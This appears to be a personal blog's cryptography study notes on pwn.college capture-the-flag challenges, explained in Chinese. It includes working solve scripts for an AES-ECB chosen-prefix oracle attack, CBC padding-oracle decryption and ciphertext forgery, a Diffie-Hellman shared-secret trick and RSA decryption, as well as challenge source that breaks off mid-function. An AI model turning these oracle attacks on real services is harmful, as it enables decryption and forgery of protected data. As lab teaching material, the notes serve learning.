Hello Navi

Tech, Security & Personal Notes

cryptography

aes

ecb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import string

import requests
from pwn import *
from pwn import b64d, context, log

# AES-ECB: 16 bytes (128 bits) per block, PKCS#7 padding

context.log_level = "info"

URL = "http://challenge.localhost"
charset = string.printable.strip()

log.info("Start")

result = b""

block_size = 16

# b"A|flag{arch_linux_is_the_best_distro}"


def send_data(data):
r = requests.post(URL, data={"content": data + "A"})
if r.status_code != 200:
exit()


def cleanup():
r = requests.post(URL + "/reset")
if r.status_code != 200:
exit()


def send_part_of_flag(data):
send_data(data.decode("latin1"))
# <b>Encrypted backup:</b><pre>{b64encode(ct).decode()}</pre>
r = requests.get(URL)
a = r.text.split("<b>Encrypted backup:</b><pre>")[1].split("</pre>")[0]
b = b64d(a)
cleanup()
return b


for i in range(1, 60):
block_idx = (i - 1) // block_size
pad_len = (block_size - i) % block_size
padding = b"A" * pad_len

ct = send_part_of_flag(padding)

target_block = ct[block_idx * 16 : (block_idx + 1) * 16]

for c in charset:
c = c.encode()
ct2 = send_part_of_flag(padding + result + c)
guess_block = ct2[block_idx * 16 : (block_idx + 1) * 16]
if guess_block == target_block:
log.success(f"Found: {c} at {i}")
result = result + c
break

print(result)

cbc

POA - Decrypt

Padding Oracle Attack (POA),专门针对 AES 算法的 CBC(密码分组链接)模式。

在 CBC 解密模式中,密文被分成 16 字节的块。当前密文块 Cn 先经过 AES 核心解密函数,得到一个中间值 (Intermediate Value) In。然后,In 必须和前一个密文块 Cn − 1(或者第一块的 IV)进行异或 (XOR),才能得到最终的明文 Pn

数学表示非常简单,这也是整个攻击的核心公式:

Pn = In ⊕ Cn − 1

服务端在解密后会检查 PKCS#7 填充是否合法(比如缺少 1 个字节就是 0x01,缺 2 个就是 0x02 0x02)。如果我们篡改了密文发过去,服务端解密后发现 padding 不对报错返回信息如 “Error”,发现 padding 对了就正常返回。服务端这个“只告诉你对不对,不告诉你为什么”的行为,就被视作 Oracle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from Crypto.Util.Padding import unpad
from pwn import *
from pwn import log, process, unhex, xor

# CBC mode - Padding Oracle Attack (Decrypt)

def get_encrypted_password():
p = process(["/challenge/dispatcher", "flag"])
p.recvuntil(b"TASK: ")
res = unhex(p.recvline().strip())
p.close()
return res


def check_padding(p_worker, iv_test, cipher_block):
payload = (iv_test + cipher_block).hex()
p_worker.sendline(f"TASK: {payload}".encode())
response = p_worker.recvline().decode()
return "Error" not in response


log.info("Start")

target_data = get_encrypted_password()
blocks = [target_data[i : i + 16] for i in range(0, len(target_data), 16)]
p_worker = process(["/challenge/worker"])

recovered_plaintext = b""

for block_idx in range(1, len(blocks)):
current_cipher_block = blocks[block_idx]
original_prev_block = blocks[block_idx - 1]

intermediate_value = bytearray(16)

# 从块的最后一个字节向前爆破 (15 down to 0)
for pad_val in range(1, 17):
idx = 16 - pad_val

for guess in range(256):
# 构造用于测试的伪造前一块 (C'_{n-1})
test_iv = bytearray(16)

# 填充已经爆破出的中间值字节,使其异或后等于当前 pad_val
for i in range(idx + 1, 16):
test_iv[i] = intermediate_value[i] ^ pad_val

# 将我们当前的猜测放入 target 字节
test_iv[idx] = guess

if check_padding(p_worker, bytes(test_iv), current_cipher_block):
# 找到了正确的 guess,由于我们可能有 0x01 的伪正例,严谨起见需要进一步校验(此处从简)
intermediate_value[idx] = guess ^ pad_val
print(f"[+] Found byte {idx}: {hex(intermediate_value[idx])}")
break

# P_n = Intermediate_n \oplus C_{n-1}
decrypted_block = xor(bytes(intermediate_value), original_prev_block)
recovered_plaintext += decrypted_block
print(f"[*] Decrypted block {block_idx}: {decrypted_block}")

# 去除 PKCS#7 padding
final_password = unpad(recovered_plaintext, 16).decode("latin1")
print(f"\n[!] Extracted Password: {final_password}")

POA - Encrypt

在 CBC 模式下,解密的本质是:

Pn = DK(Cn) ⊕ Cn − 1

利用 Padding Oracle Attack,我们可以爆破出某个密文块的中间状态 In

In = DK(Cn)

既然 In 是固定的(仅由 Cn 和你无法获取的 Key 决定),那么只要我们能完全控制前一个密文块 Cn − 1,我们就能随心所欲地控制解密出的明文 Pn!公式如下:

Cn − 1 = In ⊕ Ptarget

解决思路: 从目标明文的最后一个 block 开始倒推:

  1. 随机生成一个垃圾 block 作为最后一个密文块 CN
  2. 利用 Padding Oracle 算出 CN 的中间值 IN
  3. 利用 IN 和你想要的明文 PN,计算出前一个密文块 CN − 1
  4. CN − 1 作为新的目标块,重复上述步骤,直到你算出最前面的 IV
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# worker
#!/usr/bin/exec-suid -- /usr/bin/python3 -I

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Random import get_random_bytes

import time
import sys

key = open("/challenge/.key", "rb").read()

while line := sys.stdin.readline():
if not line.startswith("TASK: "):
continue
data = bytes.fromhex(line.split()[1])
iv, ciphertext = data[:16], data[16:]

cipher = AES.new(key=key, mode=AES.MODE_CBC, iv=iv)
try:
plaintext = unpad(cipher.decrypt(ciphertext), cipher.block_size).decode('latin1')
except ValueError as e:
print("Error:", e)
continue

if plaintext == "sleep":
print("Sleeping!")
time.sleep(1)
elif plaintext == "please give me the flag, kind worker process!":
print("Victory! Your flag:")
print(open("/flag").read())
else:
print("Unknown command!")

# dispatcher
#!/usr/bin/exec-suid -- /usr/bin/python3 -I

import os

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes

key = open("/challenge/.key", "rb").read()
cipher = AES.new(key=key, mode=AES.MODE_CBC)
ciphertext = cipher.iv + cipher.encrypt(pad(b"sleep", cipher.block_size))

print(f"TASK: {ciphertext.hex()}")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import os

from pwn import *
from pwn import log, process, xor

# CBC mode - Padding Oracle Attack (Encrypt)


def check_padding(p_worker, iv_test, cipher_block):
payload = (iv_test + cipher_block).hex()
p_worker.sendline(f"TASK: {payload}".encode())
response = p_worker.recvline().decode()
return "Error" not in response


log.info("Start")

p_worker = process(["/challenge/worker"])

target_message = b"please give me the flag, kind worker process!"
target_message = pad(target_message, 16)
message_blocks = [target_message[i : i + 16] for i in range(0, len(target_message), 16)]

forged_ciphertext = [os.urandom(16)]

# 逆向遍历目标明文块
for block_idx, p_block in enumerate(reversed(message_blocks)):
log.info(
f"Forging block {len(message_blocks) - block_idx} / {len(message_blocks)}..."
)
current_cipher_block = forged_ciphertext[0]
intermediate_value = bytearray(16)

# 爆破 16 个 byte
for pad_val in range(1, 17):
idx = 16 - pad_val
found = False

for guess in range(256):
test_iv = bytearray(16)
# 填充已知的中间值,构造所需的 padding
for i in range(idx + 1, 16):
test_iv[i] = intermediate_value[i] ^ pad_val

test_iv[idx] = guess

if check_padding(p_worker, bytes(test_iv), current_cipher_block):
# 处理 padding=1 时的 false positive
# 如果你爆破 `idx = 15` 时,原密文的解密结果恰好是 `0x02 0x02`,就会因为误判 `0x01` 成功。
if pad_val == 1:
test_iv[idx - 1] ^= 1
if not check_padding(
p_worker, bytes(test_iv), current_cipher_block
):
continue

intermediate_value[idx] = guess ^ pad_val
found = True
break

if not found:
log.error("Fail")
exit(1)

prev_cipher_block = xor(bytes(intermediate_value), p_block)
forged_ciphertext.insert(0, prev_cipher_block)

iv = forged_ciphertext[0]
final_ciphertext = b"".join(forged_ciphertext[1:])
final_payload = (iv + final_ciphertext).hex()

log.success("Payload forged successfully. Sending to worker...")
p_worker.sendline(f"TASK: {final_payload}".encode())

print(p_worker.recvall(timeout=2).decode())
1
2
3
4
5
6
7
8
9
10
[*] Start
[+] Starting local process '/challenge/worker': pid 185
[*] Forging block 3 / 3...
[*] Forging block 2 / 3...
[*] Forging block 1 / 3...
[+] Payload forged successfully. Sending to worker...
[+] Receiving all data: Done (79B)
[*] Stopped process '/challenge/worker' (pid 185)
Victory! Your flag:
pwn.college{IWMb6al3m7LNcJmiBAyOUdRv2Kh.dFDN3kDL4cjM1gzW}

Asymmetric Encryption

DHKE

Diffie-Hellman Key Exchange

1. 公共参数 (The Public Info)

Alice 和 Bob 首先要在公网上明文敲定一个巨大的质数 p 和一个原根 g。因为它们在有限域 (Finite Field,即基于 modulo p 的环境) 中定义了接下来所有运算的规则。Eve 完全可以看到这两个数字。

2. 私钥 (The Private Keys)

接着,两人各自在本地生成一个绝对保密的随机数——Alice 的是 a,Bob 的是 b

3. 计算并交换公钥 (Public Keys)

接下来是在终端里跑计算的时候了:

  • Alice 计算: A = ga (mod  p)
  • Bob 计算: B = gb (mod  p)

算完之后,他们把 AB 明文扔到网络上交换。

4. 离散对数难题 (Discrete Logarithm)

现在,Eve 手里有 p, g, A, 和 B

如果这是普通的实数域,用高中学的对数函数就能反推出 ab。但是在有限域里,因为有一个 modulo p 的存在,数值会在 0p − 1 之间无限循环。这被称为“离散对数难题”。

  • Alice 拿到了 Bob 的公钥 B,计算:s = Ba (mod  p)
  • Bob 拿到了 Alice 的公钥 A,计算:s = Ab (mod  p)

让我们用一点初中数学展开它:

s = (gb)a (mod  p) = gab (mod  p) = (ga)b (mod  p)

Alice 和 Bob 得到了完全一致的 s!这个 s 就是他们接下来用来跑 AES 的对称密钥。

在这个体系里,AB 被称为 public keys,ab 则是 private keys。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# 2048-bit MODP Group from RFC3526
pro = int.from_bytes(
bytes.fromhex(
"FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 "
"29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD "
"EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 "
"E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED "
"EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D "
"C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F "
"83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D "
"670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B "
"E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 "
"DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 "
"15728E5A 8AACAA68 FFFFFFFF FFFFFFFF"
),
"big",
)
g = 2
print(f"p = {pro:#x}")
print(f"g = {g:#x}")

a = getrandbits(2048)
A = pow(g, a, pro)
print(f"A = {A:#x}")

try:
B = int(input("B? "), 16)
except ValueError:
print("Invalid B value (not a hex number)", file=sys.stderr)
sys.exit(1)
if B <= 2**1024:
print("Invalid B value (B <= 2**1024)", file=sys.stderr)
sys.exit(1)

s = pow(B, a, pro)
try:
if int(input("s? "), 16) == s:
print("Correct! Here is your flag:")
print(open("/flag").read())
else:
print("Incorrect... Should have been:", file=sys.stderr)
print(f"s = {s:#x}")
except ValueError:
print("Invalid s value (not a hex number)", file=sys.stderr)
sys.exit(1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from pwn import log, process

pro = process(["/challenge/run"], stdin=process.PTY, stdout=process.PTY)

log.info("START")

pro.recvuntil(b"p = ")
p = int(pro.recvline().strip(), 16)

pro.recvuntil(b"g = ")
g = int(pro.recvline().strip(), 16)

pro.recvuntil(b"A = ")
A = int(pro.recvline().strip(), 16)

B = p
pro.recvuntil(b"B? ")
pro.sendline(f"{B:#x}")

s = 0
pro.recvuntil(b"s? ")
pro.sendline(f"{s:#x}")

pro.interactive()

DHKE to AES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/exec-suid -- /usr/bin/python3 -I

import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random.random import getrandbits

flag = open("/flag", "rb").read()
assert len(flag) <= 256

# 2048-bit MODP Group from RFC3526
p = int.from_bytes(bytes.fromhex(
"FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 "
"29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD "
"EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 "
"E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED "
"EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D "
"C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F "
"83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D "
"670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B "
"E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 "
"DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 "
"15728E5A 8AACAA68 FFFFFFFF FFFFFFFF"
), "big")
g = 2
print(f"p = {p:#x}")
print(f"g = {g:#x}")

a = getrandbits(2048)
A = pow(g, a, p)
print(f"A = {A:#x}")

try:
B = int(input("B? "), 16)
except ValueError:
print("Invalid B value (not a hex number)", file=sys.stderr)
sys.exit(1)
if B <= 2**1024:
print("Invalid B value (B <= 2**1024)", file=sys.stderr)
sys.exit(1)

s = pow(B, a, p)
key = s.to_bytes(256, "little")[:16]

# friendship ended with DHKE, AES is my new best friend
cipher = AES.new(key=key, mode=AES.MODE_CBC)
flag = open("/flag", "rb").read()
ciphertext = cipher.iv + cipher.encrypt(pad(flag, cipher.block_size))
print(f"Flag Ciphertext (hex): {ciphertext.hex()}")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from Crypto.Cipher import AES
from pwn import *
from pwn import log, process, unhex

pro = process(["/challenge/run"], stdin=process.PTY, stdout=process.PTY)

log.info("START")

pro.recvuntil(b"p = ")
p = int(pro.recvline().strip(), 16)

pro.recvuntil(b"g = ")
g = int(pro.recvline().strip(), 16)

pro.recvuntil(b"A = ")
A = int(pro.recvline().strip(), 16)

B = p
pro.recvuntil(b"B? ")
pro.sendline(f"{B:#x}")

s = 0
key = s.to_bytes(256, "little")[:16]


pro.recvuntil(b"Flag Ciphertext (hex): ")
ciphertext = unhex(pro.readline().strip())

cipher = AES.new(key=key, mode=AES.MODE_CBC)

flag = cipher.decrypt(ciphertext)

print(flag)

pro.interactive()

RSA 1

Rivest-Shamir-Adleman

Alice 首先在后台静默生成两个大素数 pq 然后将它们相乘:

n = p × q

这个公开的 n 定义了一个模 n 的有限域 (Finite Field)。欧拉定理指出,模 n (即 p × q) 域中的指数运算,实际上是在模 (p − 1)(q − 1) 的域中进行的。or 交换环 (Commutative Ring)

只要知道 (p − 1)(q − 1),Alice 就可以轻松计算出一个 d,使得:

e × d ≡ 1 (mod  (p − 1)(q − 1))

  • Public Key (公钥): 包含 ne。你可以把它们像推送到 AUR 一样公开出去。这里的 e 通常选一个较小但安全的数值(比如 65537),以降低计算开销(绝不浪费 CPU 周期,很符合 Arch 精神)。
  • Private Key (私钥): 就是 d。绝对私密,是你掌控一切的终极凭证。

RSA 的非对称魅力在于:

  • Encryption (加密): Bob 拿到 Alice 的公钥,把明文消息 m 加密成密文 c

c ≡ me (mod  n)

  • Decryption (解密): Alice 用她的私钥 d 进行逆向操作来恢复明文 m

m ≡ cd (mod  n)

  • 原理解释: 因为 cd = (me)d = me × d = m1 = m

身份验证 (Attestation/Signatures)

因为 e × d = d × e,Alice 也可以用私钥 d 来“加密”消息,而任何拥有公钥 e 的人都能“解密”。只有拥有 d 的 Alice 才能生成这串特定的密文,这就完美证明了消息绝对且仅来自于 Alice 本人

如果你要回复 Bob,你同样需要获取 Bob 的公钥(属于他自己的 ne),然后重复上述的流程。

1
2
3
4
5
6
7
8
9
10
flag = open("/flag", "rb").read()
assert len(flag) <= 256

key = RSA.generate(2048)
print(f"(public) n = {key.n:#x}")
print(f"(public) e = {key.e:#x}")
print(f"(private) d = {key.d:#x}")

ciphertext = pow(int.from_bytes(flag, "little"), key.e, key.n).to_bytes(256, "little")
print(f"Flag Ciphertext (hex): {ciphertext.hex()}")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from pwn import log, process, unhex

pro = process(["/challenge/run"], stdin=process.PTY, stdout=process.PTY)
log.info("START")
pro.recvuntil(b"(public) n = ")
n = int(pro.recvline().strip(), 16)

pro.recvuntil(b"(public) e = ")
e = int(pro.recvline().strip(), 16)

pro.recvuntil(b"(private) d = ")
d = int(pro.recvline().strip(), 16)

pro.recvuntil(b"Flag Ciphertext (hex): ")
ciphertext = unhex(pro.readline().strip())

flag = pow(int.from_bytes(ciphertext, "little"), d, n).to_bytes(256, "little")

print(flag)

pro.interactive()

RSA 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# challenge

#!/usr/bin/exec-suid -- /usr/bin/python3 -I

from Crypto.PublicKey import RSA

flag = open("/flag", "rb").read()
assert len(flag) <= 256

key = RSA.generate(2048)
print(f"e = {key.e:#x}")
print(f"p = {key.p:#x}")
print(f"q = {key.q:#x}")

ciphertext = pow(int.from_bytes(flag, "little"), key.e, key.n).to_bytes(256, "little")
print(f"Flag Ciphertext (hex): {ciphertext.hex()}")

e × d ≡ 1 (mod  (p − 1)(q − 1))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from pwn import log, process, unhex

pro = process(["/challenge/run"], stdin=process.PTY, stdout=process.PTY)
log.info("START")
pro.recvuntil(b"e = ")
e = int(pro.recvline().strip(), 16)

pro.recvuntil(b"p = ")
p = int(pro.recvline().strip(), 16)

pro.recvuntil(b"q = ")
q = int(pro.recvline().strip(), 16)

pro.recvuntil(b"Flag Ciphertext (hex): ")
ciphertext = unhex(pro.readline().strip())

n = p * q

d = pow(e, -1, (p - 1) * (q - 1))

flag = pow(int.from_bytes(ciphertext, "little"), d, n).to_bytes(256, "little")

print(flag)

pro.interactive()

RSA 3

Full challenge source (levels 1-14)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
#!/usr/bin/exec-suid -- /usr/bin/python3 -I

import sys
import string
import random
import pathlib
import base64
import json
import textwrap

from Crypto.Cipher import AES
from Crypto.Hash.SHA256 import SHA256Hash
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Random.random import getrandbits, randrange
from Crypto.Util.strxor import strxor
from Crypto.Util.Padding import pad, unpad


flag = open("/flag", "rb").read()
config = (pathlib.Path(__file__).parent / ".config").read_text()
level = int(config)


def show(name, value, *, b64=True):
print(f"{name}: {value}")


def show_b64(name, value):
show(f"{name} (b64)", base64.b64encode(value).decode())

def show_hex_block(name, value, byte_block_size=16):
value_to_show = ""

for i in range(0, len(value), byte_block_size):
value_to_show += f"{value[i:i+byte_block_size].hex()}"
value_to_show += " "
show(f"{name} (hex)", value_to_show)


def show_hex(name, value):
show(name, hex(value))


def input_(name):
try:
return input(f"{name}: ")
except (KeyboardInterrupt, EOFError):
print()
exit(0)


def input_b64(name):
data = input_(f"{name} (b64)")
try:
return base64.b64decode(data)
except base64.binascii.Error:
print(f"Failed to decode base64 input: {data!r}", file=sys.stderr)
exit(1)


def input_hex(name):
data = input_(name)
try:
return int(data, 16)
except Exception:
print(f"Failed to decode hex input: {data!r}", file=sys.stderr)
exit(1)


def level1():
"""
In this challenge you will decode base64 data.
Despite base64 data appearing "mangled", it is not an encryption scheme.
It is an encoding, much like base2, base10, base16, and ascii.
It is a popular way of encoding raw bytes.
"""
show_b64("flag", flag)


def level2():
"""
In this challenge you will decrypt a secret encrypted with a one-time pad.
Although simple, this is the most secure encryption mechanism, if you could just securely transfer the key.
"""
key = get_random_bytes(len(flag))
ciphertext = strxor(flag, key)
show_b64("key", key)
show_b64("secret ciphertext", ciphertext)


def level3():
"""
In this challenge you will decrypt a secret encrypted with a one-time pad.
You can encrypt arbitrary data, with the key being reused each time.
"""
key = get_random_bytes(256)
assert len(flag) <= len(key)

ciphertext = strxor(flag, key[:len(flag)])
show_b64("secret ciphertext", ciphertext)

while True:
plaintext = input_b64("plaintext")
ciphertext = strxor(plaintext, key[:len(plaintext)])
show_b64("ciphertext", ciphertext)


def level4():
"""
In this challenge you will decrypt a secret encrypted with Advanced Encryption Standard (AES).
The Electronic Codebook (ECB) block cipher mode of operation is used.
"""
key = get_random_bytes(16)
cipher = AES.new(key=key, mode=AES.MODE_ECB)
ciphertext = cipher.encrypt(pad(flag, cipher.block_size))
show_b64("key", key)
show_b64("secret ciphertext", ciphertext)



def level5():
"""
In this challenge you will decrypt a secret encrypted with Advanced Encryption Standard (AES).
The Electronic Codebook (ECB) block cipher mode of operation is used.
You can encrypt arbitrary data, which has the secret appended to it, with the key being reused each time.
"""
key = get_random_bytes(16)
cipher = AES.new(key=key, mode=AES.MODE_ECB)

ciphertext = cipher.encrypt(pad(flag, cipher.block_size))
show_b64("secret ciphertext", ciphertext)
show_hex_block("secret ciphertext", ciphertext)

while True:
plaintext_prefix = input_b64("plaintext prefix")
ciphertext = cipher.encrypt(pad(plaintext_prefix + flag, cipher.block_size))
show_b64("ciphertext", ciphertext)
show_hex_block("ciphertext", ciphertext)


def level6():
"""
In this challenge you will perform a Diffie-Hellman key exchange.
"""
# 2048-bit MODP Group from RFC3526
p = int.from_bytes(bytes.fromhex(
"FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 "
"29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD "
"EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 "
"E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED "
"EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D "
"C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F "
"83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D "
"670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B "
"E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 "
"DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 "
"15728E5A 8AACAA68 FFFFFFFF FFFFFFFF"
), "big")
g = 2

show_hex("p", p)
show_hex("g", g)

a = getrandbits(2048)
A = pow(g, a, p)
show_hex("A", A)

B = input_hex("B")
if not (B > 2**1024):
print("Invalid B value (B <= 2**1024)", file=sys.stderr)
exit(1)

s = pow(B, a, p)

key = s.to_bytes(256, "little")
assert len(flag) <= len(key)
ciphertext = strxor(flag, key[:len(flag)])
show_b64("secret ciphertext", ciphertext)


def level7():
"""
In this challenge you will decrypt a secret encrypted with RSA (Rivest–Shamir–Adleman).
You will be provided with both the public key and private key.
"""
key = RSA.generate(2048)
assert len(flag) <= 256
ciphertext = pow(int.from_bytes(flag, "little"), key.e, key.n).to_bytes(256, "little")
show_hex("e", key.e)
show_hex("d", key.d)
show_hex("n", key.n)
show_b64("secret ciphertext", ciphertext)


def level8():
"""
In this challenge you will decrypt a secret encrypted with RSA (Rivest–Shamir–Adleman).
You will be provided with the prime factors of n.
"""
key = RSA.generate(2048)
assert len(flag) <= 256
ciphertext = pow(int.from_bytes(flag, "little"), key.e, key.n).to_bytes(256, "little")
show_hex("e", key.e)
show_hex("p", key.p)
show_hex("q", key.q)
show_b64("secret ciphertext", ciphertext)


def level9():
"""
In this challenge you will hash data with a Secure Hash Algorithm (SHA256).
You will find a small hash collision.
Your goal is to find data, which when hashed, has the same hash as the secret.
Only the first 2 bytes of the SHA256 hash are considered.
"""
prefix_length = 2
sha256 = SHA256Hash(flag).digest()
show_b64(f"secret sha256[:{prefix_length}]", sha256[:prefix_length])

collision = input_b64("collision")
if SHA256Hash(collision).digest()[:prefix_length] == sha256[:prefix_length]:
show("flag", flag.decode())


def level10():
"""
In this challenge you will hash data with a Secure Hash Algorithm (SHA256).
You will compute a small proof-of-work.
Your goal is to find response data, which when appended to the challenge data and hashed, begins with 2 null-bytes.
"""
difficulty = 2

challenge = get_random_bytes(32)
show_b64("challenge", challenge)

response = input_b64("response")
if SHA256Hash(challenge + response).digest()[:difficulty] == (b'\0' * difficulty):
show("flag", flag.decode())


def level11():
"""
In this challenge you will complete an RSA challenge-response.
You will be provided with both the public key and private key.
"""
key = RSA.generate(2048)

show_hex("e", key.e)
show_hex("d", key.d)
show_hex("n", key.n)

challenge = int.from_bytes(get_random_bytes(256), "little") % key.n
show_hex("challenge", challenge)

response = input_hex("response")
if pow(response, key.e, key.n) == challenge:
show("flag", flag.decode())


def level12():
"""
In this challenge you will complete an RSA challenge-response.
You will provide the public key.
"""
e = input_hex("e")
n = input_hex("n")

if not (e > 2):
print("Invalid e value (e > 2)", file=sys.stderr)
exit(1)

if not (2**512 < n < 2**1024):
print("Invalid n value (2**512 < n < 2**1024)", file=sys.stderr)
exit(1)

challenge = int.from_bytes(get_random_bytes(64), "little")
show_hex("challenge", challenge)

response = input_hex("response")
if pow(response, e, n) == challenge:
ciphertext = pow(int.from_bytes(flag, "little"), e, n).to_bytes(256, "little")
show_b64("secret ciphertext", ciphertext)


def level13():
"""
In this challenge you will work with public key certificates.
You will be provided with a self-signed root certificate.
You will also be provided with the root private key, and must use that to sign a user certificate.
"""
root_key = RSA.generate(2048)

show_hex("root key d", root_key.d)

root_certificate = {
"name": "root",
"key": {
"e": root_key.e,
"n": root_key.n,
},
"signer": "root",
}

root_trusted_certificates = {
"root": root_certificate,
}

root_certificate_data = json.dumps(root_certificate).encode()
root_certificate_hash = SHA256Hash(root_certificate_data).digest()
root_certificate_signature = pow(
int.from_bytes(root_certificate_hash, "little"),
root_key.d,
root_key.n
).to_bytes(256, "little")

show_b64("root certificate", root_certificate_data)
show_b64("root certificate signature", root_certificate_signature)

user_certificate_data = input_b64("user certificate")
user_certificate_signature = input_b64("user certificate signature")

try:
user_certificate = json.loads(user_certificate_data)
except json.JSONDecodeError:
print("Invalid user certificate", file=sys.stderr)
exit(1)

user_name = user_certificate.get("name")
if user_name in root_trusted_certificates:
print(f"Invalid user certificate name: `{user_name}`", file=sys.stderr)
exit(1)

user_key = user_certificate.get("key", {})
if not (isinstance(user_key.get("e"), int) and isinstance(user_key.get("n"), int)):
print(f"Invalid user certificate key: `{user_key}`", file=sys.stderr)
exit(1)

if not (user_key["e"] > 2):
print("Invalid user certificate key e value (e > 2)", file=sys.stderr)
exit(1)

if not (2**512 < user_key["n"] < 2**1024):
print("Invalid user certificate key n value (2**512 < n < 2**1024)", file=sys.stderr)
exit(1)

user_signer = user_certificate.get("signer")
if user_signer not in root_trusted_certificates:
print(f"Untrusted user certificate signer: `{user_signer}`", file=sys.stderr)
exit(1)

